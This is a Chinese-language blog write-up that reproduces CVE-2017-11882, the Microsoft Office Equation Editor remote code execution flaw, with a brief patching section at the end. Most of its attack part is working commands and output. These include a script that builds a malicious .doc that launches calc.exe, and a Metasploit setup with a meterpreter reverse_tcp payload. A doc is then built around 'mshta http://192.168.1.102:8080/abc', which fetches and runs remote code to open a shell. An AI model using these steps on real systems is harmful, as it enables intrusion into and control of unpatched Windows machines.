Preface
這幾天關於Office的一個遠程代碼執行漏洞很流行,昨天也有朋友發了相關信息,於是想復現一下看看,復現過程也比較簡單,主要是簡單記錄下。
利用腳本Github傳送地址 ,后面的參考鏈接都有成功的比較詳細的案例了。
主要是要用到如圖中的兩個腳本,example文件夾中有個doc,應該直接打開就能彈計算器了。
影響版本
- Office 365
- Microsoft Office 2000
- Microsoft Office 2003
- Microsoft Office 2007 Service Pack 3
- Microsoft Office 2010 Service Pack 2
- Microsoft Office 2013 Service Pack 1
- Microsoft Office 2016
復現過程
國外最先發布的poc地址:https://github.com/embedi/CVE-2017-11882
這里我們使用的是Ridter師傅改進過的腳本:https://github.com/Ridter/CVE-2017-11882/
生成漏洞doc文件彈計算器
生成漏洞doc文件,可以彈出計算器如下:(腳本在Github傳送地址)
starnight:CVE-2017-11882 starnight$ python Command_CVE-2017-11882.py -c "cmd.exe /c calc.exe" -o test.doc [*] Done ! output file >> test.doc <<
用命令生成test.doc后,用Offcie 2013打開這個文件,可以看到在打開doc文件的時候,彈出計算器。
除了可以彈計算器外,還能獲取shell。
生成漏洞doc文件拿shell
這里我們參考鏈接2,使用metasploit,將腳本PS_shell.rb放到metasploit exploit的某個路徑下:
我的kali下的metasploit所在路徑是:/usr/share/metasploit-framework, 可以放在如下目錄:(這里我們新創建一個new-exps目錄存放這個腳本)
root@kali:/usr/share/metasploit-framework/modules/exploits/windows/new-exps# pwd /usr/share/metasploit-framework/modules/exploits/windows/new-exps root@kali:/usr/share/metasploit-framework/modules/exploits/windows/new-exps# ls PS_shell.rb
這樣在啟動msf時就能直接使用了:
msf > use exploit/windows/new-exps/PS_shell
漏洞利用過程:
msf > use exploit/windows/new-exps/PS_shell msf exploit(PS_shell) > set payload windows/meterpreter/reverse_tcp payload => windows/meterpreter/reverse_tcp msf exploit(PS_shell) > set lhost 192.168.1.102 lhost => 192.168.1.102 msf exploit(PS_shell) > set uripath abc uripath => abc msf exploit(PS_shell) > exploit [*] Exploit running as background job 0. [*] Started reverse TCP handler on 192.168.1.102:4444 msf exploit(PS_shell) > [*] Using URL: http://0.0.0.0:8080/abc [*] Local IP: http://192.168.1.102:8080/abc [*] Server started. [*] Place the following DDE in an MS document: mshta.exe "http://192.168.1.102:8080/abc"
從上面可以看出,我們要連接到這個地址:http://192.168.1.102:8080/abc
我們需要用上面那個腳本重新生成這樣一個存在漏洞的doc文件:
starnight:CVE-2017-11882 starnight$ python Command_CVE-2017-11882.py -c "mshta http://192.168.1.102:8080/abc" -o test.doc [*] Done ! output file >> test.doc <<
再用Office打開這個doc,就能拿到meterpreter了:
OK, 利用過程就這樣吧。(右鍵在新標簽頁中打開圖片查看更清晰哦)
更多手法請參考:
漏洞修復
(1)下載https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2017-11882 更新補丁進行修補 (2)開啟Windows Update功能,定期對系統進行自動更新